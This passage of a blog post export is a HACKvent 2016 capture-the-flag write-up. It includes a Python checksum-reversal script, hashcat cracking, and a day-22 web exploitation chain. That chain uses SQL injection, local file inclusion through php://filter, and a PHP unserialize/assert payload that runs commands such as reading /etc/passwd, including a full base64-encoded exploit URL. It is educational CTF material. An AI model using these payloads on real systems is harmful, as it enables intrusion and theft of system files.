0x89, 0x41, 0x04, 0x89, 0x41, 0x08, 0x89, 0x41, 0x0C, 0x89, 0x41, 0x10, 0x89, 0x41, 0x14, 0x89, 0x41, 0x18, 0x83, 0x81, 0xB8, 0x00, 0x00, 0x00, 0x02, 0x6A, 0x09, 0x68, 0xEC, 0x42\n, 0x40, 0x00, 0xE8, 0xBD, 0xFC, 0xFF, 0xFF, 0xB9, 0x14, 0x00, 0x00, 0x00, 0xBE, 0x80, 0x40, 0x40, 0x00, 0x8B, 0xF8, 0xF3, 0xA6, 0x75, 0x0A, 0xC7, 0x05, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xFF, 0x25, 0x78, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x7C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x80, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x88, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x8C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x90, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x94, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x98, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x9C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA0, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA4, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA8, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xAC, 0x50]\nhackvent_string = \"HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!\"\nhackvent_hex = [0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21]\ninput_tofind_1 = [0x90, 0xc2, 0x57, 0x75]\ninput_tofind_2 = [0x82, 0xd7, 0x4c, 0x2d]\nsaved_tofind_1 = list(input_tofind_1)\nsaved_tofind_2 = list(input_tofind_2)\ntofind_1 = list(input_tofind_1)\ntofind_2 = list(input_tofind_2)\nLOW=3\nHIGH=2\ndef ror(array_to_shift, positions):\n    i = 0\n    while i &lt; positions:\n        tmp_element = array_to_shift[len(array_to_shift)-1]\n        c = len(array_to_shift)-1\n        while c &gt;= 0:\n            array_to_shift[c] = array_to_shift[c-1]\n            c -= 1\n        array_to_shift[0] = tmp_element\n        i += 1\n    return array_to_shift\ndef rol(array_to_shift, positions):\n    i = 0\n    while i &lt; positions:\n        tmp_element = array_to_shift[0]\n        c = 0\n        while c &lt; len(array_to_shift)-1:\n            array_to_shift[c] = array_to_shift[c+1]\n            c += 1\n        array_to_shift[len(array_to_shift)-1] = tmp_element\n        i += 1\n    return array_to_shift\ndef print_result(title, array_to_print):\n    string = \"\"\n    for x in array_to_print:\n        string += format(x, '02X')\n    print title + string\ndef print_chars(title, array_to_print):\n    string = \"\"\n    for x in array_to_print:\n        string += chr(x)\n    print title + string\ndef print_result_rev(title, array_to_print):\n    string = \"\"\n    counter = len(array_to_print)-1\n    while counter &gt;= 0:\n        string += format(array_to_print[counter], '02X')\n        counter -= 1\n    print title + string\ndef print_chars_rev(title, array_to_print):\n    string = \"\"\n    counter = len(array_to_print)-1\n    while counter &gt;= 0:\n        string += chr(array_to_print[counter])\n        counter -= 1\n    print title + string\n#ToFind1 we only have the stored result from the last loop!\n#so we need to reproduce it back to the end\n#########\nc = 0\nwhile c &lt; len(tofind_1):\n    tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[56+c]\n    c+=1\nrol(tofind_1, 10)\n#########\nrol(tofind_2, 10)\ntofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]]\ntofind_2[LOW] ^= lookup_table[tofind_1[LOW]]\nrol(tofind_1, 10)\nrol(tofind_2, 10)\ntofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]]\ntofind_2[LOW] ^= lookup_table[tofind_1[LOW]]\nc = 0\nwhile c &lt; len(tofind_1):\n    tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[56+c]\n    c+=1\n# Save\nsaved_tofind_1 = list(tofind_1)\nsaved_tofind_2 = list(tofind_2)\ncounter = 7\nwhile counter &gt;= 0:\n    #Load\n    tofind_1 = list(saved_tofind_1)\n    tofind_2 = list(saved_tofind_2)\n    rol(tofind_1, 9)\n    #####\n    tmp = list(saved_tofind_2)\n    tmp[HIGH] ^= tmp[LOW]\n    tmp[LOW]  ^= hackvent_hex[4+(counter*7)]\n    ror(tmp,10)\n    tmp[3] ^= hackvent_hex[(5+(counter*7))]\n    tmp[2] ^= hackvent_hex[(1+5+(counter*7))]\n    #####\n    tofind_1[LOW] ^= lookup_table[tmp[LOW]]\n    tofind_1[HIGH] ^= lookup_table[tmp[HIGH]]\n    #rol(tofind_2, 10)\n    rol(tofind_1, 10)\n    ######\n    tmp = list(saved_tofind_2)\n    tmp[HIGH] ^= tmp[LOW]\n    tmp[LOW]  ^= hackvent_hex[4+(counter*7)]\n    ######\n    tofind_1[LOW] ^= lookup_table[tmp[LOW]]\n    tofind_1[HIGH] ^= lookup_table[tmp[HIGH]]\n    rol(tofind_1, 9)\n    rol(tofind_2, 10)\n    #####\n    c = 0\n    while c &lt; len(tofind_1):\n        tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[(c+(counter*7))]\n        c+=1\n    rol(tofind_1, 10)\n    #####\n    tofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]]\n    tofind_2[LOW] ^= lookup_table[tofind_1[LOW]]\n    rol(tofind_2, 10)\n    rol(tofind_1, 10)\n    tofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]]\n    tofind_2[LOW] ^= lookup_table[tofind_1[LOW]]\n    c = 0\n    while c &lt; len(tofind_1):\n        tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[(c+(counter*7))]\n        c+=1\n    #Save\n    saved_tofind_2 = list(tofind_2)\n    saved_tofind_1 = list(tofind_1)\n    counter -= 1\nprint_result(\"Result 1: \", tofind_1)\nprint_chars(\"Result 1: \", tofind_1)\nprint_result(\"Result 2: \", tofind_2)\nprint_chars(\"Result 2: \", tofind_2)\nprint(\"Reversed Bytes:\")\nprint_result_rev(\"Result 1: \", tofind_1)\nprint_chars_rev(\"Result 1: \", tofind_1)\nprint_result_rev(\"Result 2: \", tofind_2)\nprint_chars_rev(\"Result 2: \", tofind_2)\nprint(\"----------------\")<\/pre>\n<p>If we enter the searched checksums in\u00a0the reversed algorithm script\u00a0we can recover most parts of the nugget: <strong>HV16-6LwJ-kvpL-Yjwg-zu3Q-<\/strong>xxxx<br \/>\nWe know that the last part is hashed with sha1, but now we know already 5 out of 9 characters! What means we can easily bruteforce it:<\/p>\n<pre class=\"lang:sh decode:true \">.\/hashcat -a 3 -m 100 target_hash.txt -1 ?l?u?d zu3Q-?1?1?1?1\ndde8d5128cf7a04e047c58395d2f119d56f0e1a4:zu3Q-EN8o\nSession.Name...: hashcat\nStatus.........: Cracked\nInput.Mode.....: Mask (zu3Q-?1?1?1?1) [9]\nCustom.Chars...: -1 ?l?u?d, -2 Undefined, -3 Undefined, -4 Undefined\nHash.Target....: dde8d5128cf7a04e047c58395d2f119d56f0e1a4\nHash.Type......: SHA1\nTime.Started...: 0 secs\nSpeed.Dev.#2...: 14136.1 kH\/s (1.27ms)\nRecovered......: 1\/1 (100.00%) Digests, 1\/1 (100.00%) Salts\nProgress.......: 8222720\/14776336 (55.65%)\nRejected.......: 0\/8222720 (0.00%)\nRestore.Point..: 8110080\/14776336 (54.89%)<\/pre>\n<p>Hashcat completes after several seconds:<br \/>\nzu3Q-EN8o<br \/>\nThere is our complete nugget:<br \/>\n<strong>HV16-6LwJ-kvpL-Yjwg-zu3Q-EN8o<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-524 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 22 &#8211; Pengus Site:<\/h1>\n<p><em>from the dark side<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nYou heard from the media that Pengu switched to the dark side of the power to sell crazy stuff on the &#8220;darknet&#8221;.<br \/>\nPwn his site to show everybody that he&#8217;s for a reason a character of some child series.<br \/>\n<strong>THE MEDIA ARTICLE:<\/strong><\/p>\n<blockquote><p>The owner of the website 7y4b2aymlqwmkyuh.onion, Pengu, sells crazy stuff, oh noez!<\/p><\/blockquote>\n<p><strong>Solution:<\/strong><br \/>\nThis one was pretty hard as well, mainly because the website doesn&#8217;t\u00a0reveal any error message!<br \/>\n1. Entering the webshop was pretty easy, done by SQLInjection for the key.<br \/>\n&#8216; or &#8216;1&#8217;=&#8217;1<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.40.29.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-533 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.40.29.png\" width=\"964\" height=\"558\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.40.29.png 964w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.40.29-300x174.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.40.29-768x445.png 768w\" sizes=\"auto, (max-width: 964px) 100vw, 964px\" \/><\/a><br \/>\n2. On the website there are 2 subpages (products and home), which are loaded with the &#8220;p=&#8221; parameter in the GET request. Playing around a bit with those, I found out that the parameter names are md5 hashes of &#8216;products&#8217; and &#8216;home&#8217;.<br \/>\n3. Later on I found a LFI (Local File Inclusion) vulnerability on the same parameter &#8220;p&#8221;<br \/>\nhttp:\/\/7y4b2aymlqwmkyuh.onion\/?p=php:\/\/filter\/convert.base64-encode\/resource=86024cad1e83101d97359d7351051156<br \/>\n&#8211; This returned the full php site as a base64 encoded string.<br \/>\n&#8211; I accessed the index.php page (md5 hashed) and found there was &#8216;admin&#8217; mentioned in a comment. So I tried to access\u00a0the admin page (again md5 hashed) and could get the source code out of it. The md5 hashed strings of index and admin are:<br \/>\n6a992d5529f459a44fee58c733255e86<br \/>\n21232f297a57a5a743894a0e4a801fc3<br \/>\nadmin.php:<\/p>\n<pre class=\"wrap:true lang:php decode:true\">&lt;?php\n  error_reporting(0);\n  class AdminPackage {\n     public $password;\n     public $leetness;\n     function check_leetness() {\n       if(md5($this-&gt;password) == '0e1337') echo '&lt;pre&gt; [+] Is it 1337? -&gt; '.(assert('1337 == '.$this-&gt;leetness) ? 'Yes!' : 'Nope!').'&lt;\/pre&gt;';\n     }\n     function __construct($password, $leetness) {\n       $this-&gt;password = $password; $this-&gt;leetness = $leetness;\n     }\n     function bang() {\n       echo \"\\n\\nWAASDFA\\n\";\n       echo $this-&gt;leetness.\"\\n\";\n       echo $this-&gt;password.\"\\n\";\n       echo md5($this-&gt;password).\"\\n\";\n     }\n  }\n  if(isset($_GET['a'])) {\n    $admin_package = unserialize(base64_decode($_GET['a']));\n    $admin_package-&gt;check_leetness();\n  }\n?&gt;\n<\/pre>\n<p>4. Analysing the admin.php source code revealed:<br \/>\n&#8211; Injection is possible &#8220;unserialize&#8221;<\/p>\n<pre class=\"wrap:true lang:php decode:true\">$admin_package = unserialize(base64_decode($_GET['a']));<\/pre>\n<p>&#8211; Code execution is possible in &#8220;assert&#8221;<br \/>\n&#8211; &#8220;assert&#8221; is only called if we have the correct password hash<br \/>\n&#8211; But there is an implementation error in the PHP hash comparison (&#8216;==&#8217; is used instead of &#8216;===&#8221;) So we can find a magic hash which will return true at this check:<br \/>\n<a href=\"https:\/\/www.whitehatsec.com\/blog\/magic-hashes\/\">https:\/\/www.whitehatsec.com\/blog\/magic-hashes\/<\/a><\/p>\n<pre class=\"wrap:true lang:php decode:true\">       if(md5($this-&gt;password) == '0e1337') echo '&lt;pre&gt; [+] Is it 1337? -&gt; '.(assert('1337 == '.$this-&gt;leetness) ? 'Yes!' : 'Nope!').'&lt;\/pre&gt;';\n<\/pre>\n<p>Now we can exploit the last stage with these serialized strings:<br \/>\n&#8216;O:12:&#8221;AdminPackage&#8221;:2:{s:8:&#8221;password&#8221;;s:9:&#8221;240610708&#8243;;s:8:&#8221;leetness&#8221;;s:39:&#8221;1337 &amp;&amp; system(&#8220;\/bin\/cat \/etc\/passwd&#8221;);&#8221;;}&#8217;<br \/>\n&#8216;O:12:&#8221;AdminPackage&#8221;:2:{s:8:&#8221;password&#8221;;s:9:&#8221;240610708&#8243;;s:8:&#8221;leetness&#8221;;s:36:&#8221;1337 &amp;&amp; system(&#8220;ls -l \/home\/pengu&#8221;);&#8221;;}&#8217;<br \/>\n&#8216;O:12:&#8221;AdminPackage&#8221;:2:{s:8:&#8221;password&#8221;;s:9:&#8221;240610708&#8243;;s:8:&#8221;leetness&#8221;;s:67:&#8221;1337 &amp;&amp; system(&#8220;cat \/home\/pengu\/7b66a8f1be1f9cff0a19aaf28d0e0396&#8243;);&#8221;;}&#8217;<br \/>\nThese inputs have\u00a0to be base64 encoded to actually work.<br \/>\nThe final request looks like this:<\/p>\n<pre class=\"wrap:true lang:default decode:true \">http:\/\/7y4b2aymlqwmkyuh.onion\/?p=21232f297a57a5a743894a0e4a801fc3&amp;a=TzoxMjoiQWRtaW5QYWNrYWdlIjoyOntzOjg6InBhc3N3b3JkIjtzOjk6IjI0MDYxMDcwOCI7czo4OiJsZWV0bmVzcyI7czo2NzoiMTMzNyAmJiBzeXN0ZW0oImNhdCAvaG9tZS9wZW5ndS83YjY2YThmMWJlMWY5Y2ZmMGExOWFhZjI4ZDBlMDM5NiIpOyI7fQ==<\/pre>\n<p>Result:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.46.07.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-534\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.46.07.png\" alt=\"\" width=\"993\" height=\"605\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.46.07.png 993w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.46.07-300x183.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-15.46.07-768x468.png 768w\" sizes=\"auto, (max-width: 993px) 100vw, 993px\" \/><\/a> <strong><br \/>\nHV16-p3ng-ug0t-pwn3-dr0x-x0rz<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-524 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 23 &#8211; From another time:<\/h1>\n<p><em>and still alive!<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nThis was once state of the art &#8230; and it&#8217;s still alive.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/SANTACLS.PRG.zip\" target=\"_blank\" rel=\"noopener\">Have a look here<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nGoogling for PRG files revealed that this is a commodore 64 binary. I found an emulator for it:<br \/>\n<a href=\"http:\/\/problemkaputt.de\/c64.htm\">http:\/\/problemkaputt.de\/c64.htm<\/a><br \/>\nI ran the binary and looked at the memory and there was the nugget in plain text:<br \/>\n<strong>HV16-siZy-UzxY-u7qV-nr3D-FSk4<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-524 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 24 &#8211; M3M0RY:<\/h1>\n<p><em>m3rry h4xm4s<\/em><\/p>\n<p><strong>Description:<\/strong><\/p>\n<pre>           *             ,\n                       _\/^\\_\n                      &lt; HAX &gt;\n     *                 \/.-.\\         *\n              *        `\/&amp;\\`                   *\n                      ,@.*;@,\n                     \/_o.I %_\\    *\n        *           (`'--:o(_@;\n                   \/`;--.,__ `')             *\n                  ;@`o % O,*`'`&amp;\\\n            *    (`'--)_@ ;o %'()\\      *\n                 \/`;--._`''--._O'@;\n                \/&amp;*,()~o`;-.,_ `\"\"`)\n     *          \/`,@ ;+&amp; () o*`;-';\\\n               (`\"\"--.,_0 +% @' &amp;()\\\n               \/-.,_    ``''--....-'`)  *\n          *    \/@%;o`:;'--,.__   __.'\\\n              ;*,&amp;(); @ % &amp;^;~`\"`o;@();         *\n              \/(); o^~; &amp; ().o@*&amp;`;&amp;%O\\\n              `\"=\"==\"\"==,,,.,=\"==\"===\"`\n           __.----.(\\-''#####---...___...-----._\n         '`         \\)_`\"\"\"\"\"`\n                 .--' ')\n               o(  )_-\\\n                 `\"\"\"` `\n<\/pre>\n<p><em><b>nc <span class=\"skimlinks-unlinked\">challenges.hackvent.hacking-lab.com<\/span> 3301<\/b><\/em><br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/m3m0ry\" target=\"_blank\" rel=\"noopener\">m3m0ry<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nDid not solve that one \ud83d\ude41<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Update 06.01.2017: Added the challenge descriptions. Thanks to\u00a0khr0x40sh! HACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day\u00a0and full points are only given if they get &hellip; <a href=\"https:\/\/sigterm.ch\/?p=494\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,5],"tags":[21,22,37,38,39,66,68,69,70,74,114,128,130,137,165,167],"class_list":["post-494","post","type-post","status-publish","format-standard","hentry","category-ctf","category-security","tag-asm","tag-assembly","tag-capture-the-flag","tag-crypto","tag-ctf","tag-hacking","tag-hacking-lab","tag-hackvent","tag-hackvent-2016","tag-hackvent16","tag-owasp","tag-reverse-engineering","tag-reversing","tag-security","tag-web-application-security","tag-write-up"],"_links":{"self":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/494","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=494"}],"version-history":[{"count":1,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/494\/revisions"}],"predecessor-version":[{"id":2175,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/494\/revisions\/2175"}],"wp:attachment":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=494"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=494"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=494"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}